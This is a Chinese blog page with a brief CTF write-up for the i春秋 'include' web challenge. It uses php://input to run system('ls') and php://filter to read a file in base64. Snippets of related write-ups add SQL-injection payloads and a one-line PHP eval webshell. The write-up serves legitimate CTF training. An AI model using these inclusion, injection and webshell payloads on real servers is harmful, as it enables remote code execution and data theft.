i春秋 CTF慢慢爬行之路（1）

最新推荐文章于 2022-12-03 01:26:47 发布
最新推荐文章于 2022-12-03 01:26:47 发布
阅读量705 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/drejun/article/details/80419667
本文介绍了一种在CTF比赛中常见的Web题型——文件包含漏洞的利用方法。通过构造特定请求，首先列出服务器文件，然后读取目标文件内容并解码获取Flag。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >


“百度杯”CTF比赛 2017 二月场

 类型：Web题目名称：include


刚进来只看到一个PHP页面和部分PHP代码，看看提示内容，文件包含漏洞。


不多说，用火狐hackbar直接构造：

？path=php://input

post内容：<?php echo system('ls');?>

会爆出具体有哪些文件。

再通过?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

查看dle345aae.php文件中有些什么东西


得到一个字符串，由后面的“=”可以判断是Base64编码，通过Base64解码就能拿到flag
Web-SQLi[i春秋][200pt]
Laurel_60的博客
08-04 1417
打开网址，是个登陆界面。 根据题目，第一反应–怕不是sql注入哦！经过尝试之后会发现，username=admin时，返回的是password error。ok，日常抓包，然后用intruder看看有没有字符被过滤掉。 事实证明，这个%有着大大的问题。拜读了网上的各种wp之后，原来是spintf()函数格式化字符串，导致了单引号逃逸。通过构造- - username=admin%1$\'...
i春秋CTF-Basic（ 部分Writeup）
i_kei的博客
11-10 1902
一、来看一下flag格式 直接将题目中flag提交即可 二、看我回旋13踢 根据题目，联想到ROT13，进入这个网址解码(https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php) 三、Base64 根据题意，题目中密文可以用base64解码 进入此网站进行base64解码 (http://ctf.ssleye.com/base64.html) 但是解码过程中发现解码失败 接着换base32试试 发现解码出一段16进制 复制下来进这个网站(https://
CTF之路
Sallyyym的博客
04-19 1066
今天做了一个Misc音频隐写题目 首先分享一个隐写工具MP3Stego，附上下载地址呀：https://www.petitcolas.net/fabien/software/ 接下来放题哈哈 （此处不知道怎么传音频……） 那就大概说步骤吧 下载解压MP3Stego，打开到Decode.exe Encode.exe 目录（将音频下载到该目录哦） 快捷键ctrl+R键，输入cmd 然后cd /d...
CTF 之路
weixin_51481155的博客
12-03 187
探索之路
[WUSTCTF2020]爬
zip471642048的博客
06-23 376
题目地址 : https://buuoj.cn/challenges#[WUSTCTF2020]%E7%88%AC 把图片删除后，得到一串16进制数
i春秋-Web(一)
qwzf
09-02 1515
前言 做了几道i春秋的Web题，所以总结一下。 Web1：爆破-1 题目提示：某六位变量。查看题目，发现是代码审计 <?php include "flag.php"; $a = @$_REQUEST['hello'];//以get或post传入hello，并赋值给`$a` if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头，$表示结束。\w表示匹...
i春秋 CTF大本营 竞赛训练营 200+道题目答案
03-30
i春秋 CTF大本营 竞赛训练营 200+道题目答案 竞赛包括冬令营白帽黑客专项训练赛之春秋杯等 国内比较好的安全知识在线学习平台，把复杂的操作系统、工具和网络环境完整的在网页进行重现，为学习者提供完全贴近实际...
i春秋CTF训练 Web Login
椰奶冻不安全的博客
07-04 5846
Web Login 题目内容：加油，我看好你 本题由擂主Wfox提供 题目链接请在i春秋申请 访问发现是个登录页面，还以为是爆破弱口令，结果在页面源码里看到一行注释 <!-- test1 test1 --> 试了一下成功登录，然后重定向到了member.php页面，发现页面里啥也没有 只能用burpsuite抓包看看了，然后在response的headers里发现可疑参数show 然后在request的headers里添加一个show参数，值设置为1，发送，页面返回了php源码
i春秋ctf夺旗赛（第四季）wirteup——misc
jammny
01-03 3408
前言：这次参加了i春秋ctf夺旗赛，misc类型一共有两道题。在这里跟大家分享一下解题步骤以及思路。 第一道题，XImg 下载文件解压后，得到一张png图片 这道题考察是图片隐写。图片隐写是misc常见的题型之一，接下来我会详细讲解一下解题步骤。 工具：stegsovle 1、把图片放到stegsovle分析，程序最下面有两个小按钮，不断点击直到得到一个被隐藏的二维码。 2、按...
i春秋CTF训练 Web Upload
椰奶冻不安全的博客
06-21 1434
Misc Web 爆破-2](https://www.ichunqiu.com/battalion?t=1) 题目内容：想怎么传就怎么传，就是这么任性。 tips:flag在flag.php中 链接需到ichunqiu网站申请 访问网页得到文件上传输入框 明显是文件上传漏洞 方法一：上传木马 上传小马 <?pHp @eval($_POST['123']);?> 页面显示 @eval($_POST['123']);?> 把<?和php过滤了，可以用大小写绕过php的过
i春秋【SQL】
weixin_44722125的博客
05-21 533
看几列 http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 union sele<>ct 1,2,3--+ 爆数据库 http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ic...
i春秋登录
weixin_30701575的博客
09-16 1318
打开是个普普通通的表单提交网页 查看源码，没什么东西 抓包试试再 没找到什么有用的信息 尝试注入 用户名admin’or ‘1’=’1 密码随便输 弹出密码错误 再试试admin’or ‘1’=’2 弹出用户不存在 说明这里存在注入点，而且是盲注 构造payload：admin' or user() regexp '^a'%23 （使用java的正则表达式来进行盲...
i春秋Login
weixin_30701575的博客
08-07 406
打开是个很普通的登录网页 查看源码看看有没有东西 找到绿色的提示，可能是账号密码，试试 成功进来了，再右键源码，没东西。。。抓包试试，传repeater里go一下 发现一个奇怪的变量，在request中传入其他值试试 show:1 Go一下，弹出一堆flag获取信息 <?php include 'common.php'; $re...
利用简易爬虫完成一道基础CTF题
weixin_30691871的博客
11-27 305
利用简易爬虫完成一道基础CTF题 声明：本文主要写给新手，侧重于表现使用爬虫爬取页面并提交数据的大致过程，所以没有对一些东西解释的很详细，比如表单，post，get方法，感兴趣的可以私信或评论给我。如果文中有哪些问题，也欢迎大家指正。 Written by Menglin Ma 写在前面   如果有想学习基础爬虫的同学，建议在中国大学MOOC上搜索嵩天老师的爬虫课程，讲的真的很细致，也很基...
i春秋-web-include
a3uRa的一个窝
10-06 578
phpinfo内容 发现allow_url_include开启 即允许php://input的形式，并将post的数据，作为php代码执行 ?path=php://input post:&lt;?php system("ls");?&gt; 得到 dle345aae.php index.php phpinfo.php 猜测flag应该在dle345aae.php里面 post:&lt;?php s...
i春秋之春秋争霸
NeverLand
02-14 2774
这套题其实涉及技术方面比较少，都是些脑洞题，关键点是要学会思考题意+百度吧。感觉这套题出的没有戏说春秋好，不难，花了半小时（时间都在试+baidu上）~ 第一关 一看~洛书~然后就没有然后了~ 答案：15 第二关 根据提示还是洛书相关，四位全是[阴，阳]的密码。洛书的答案是15，想到大圈小圈，可能是二进制，15的二进制是1111，对比阴阳，1=阳，0=阴。
i春秋 CTF慢慢爬行之路（2）
drejun的博客
05-23 1090
“百度杯”CTF比赛 2017 二月场类型：Web题目名称：Zone根据题目提示的Zone，发现cookie中的值为0；将其设置为”1“然后刷新；利用php://filter文件流读取发现失败。随后访问：http://fa7767f78ffe41fd8e4256927003049e576a28d79f444eaf.game.ichunqiu.com/manages/admin.php?module...
i春秋_真的很简单_过程记录（坑吐了。。。）
等风来
09-19 9989
0x01 打开实验环境，根据提示打开实验工具dedeCMS （坑一） 等等，我的工具呢？？？在实验环境里提供的工具中有个dedecms5.7但是不好用啊 WTF？？？ 实在不行去网上搜了下攻略，发现要自己下载dedecms，一点提示都没有，，，好坑啊 如图，得到网站管理员账号密码 后面的明显是md5加密后的密码，不过数了数只有20位，百度后得知dedecms的特点就是这样 在线破...
i春秋-敲击-flag{xvzoc}
hkk1151043545的博客
11-01 788
方方格格，不断敲击 “wdvtdz qsxdr werdzxc esxcfr uygbn” flag格式为：flag{小写的字符串} 密文全是小写字母，提示是方格、敲击，想到经常使用的九键键盘，但是这样 26 个字母对应九键有点不对，那就可能是 26 键。 迟迟找不到规律，发呆的时候，想看一下敲击键盘的规律，结果发现敲击顺序会形成字母 分别对应 x v z o c ...
i春秋ctf web
最新发布
01-04
其中提到的百度杯CTF夺旗大战是由百度安全应急响应中心与i春秋共同发起的一项活动，这项比赛具有较长的时间跨度以及较高的频率特点[^1]。 #### Web安全挑战详情 对于希望参与Web方向CTF练习的人来说，在i春秋上可以...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值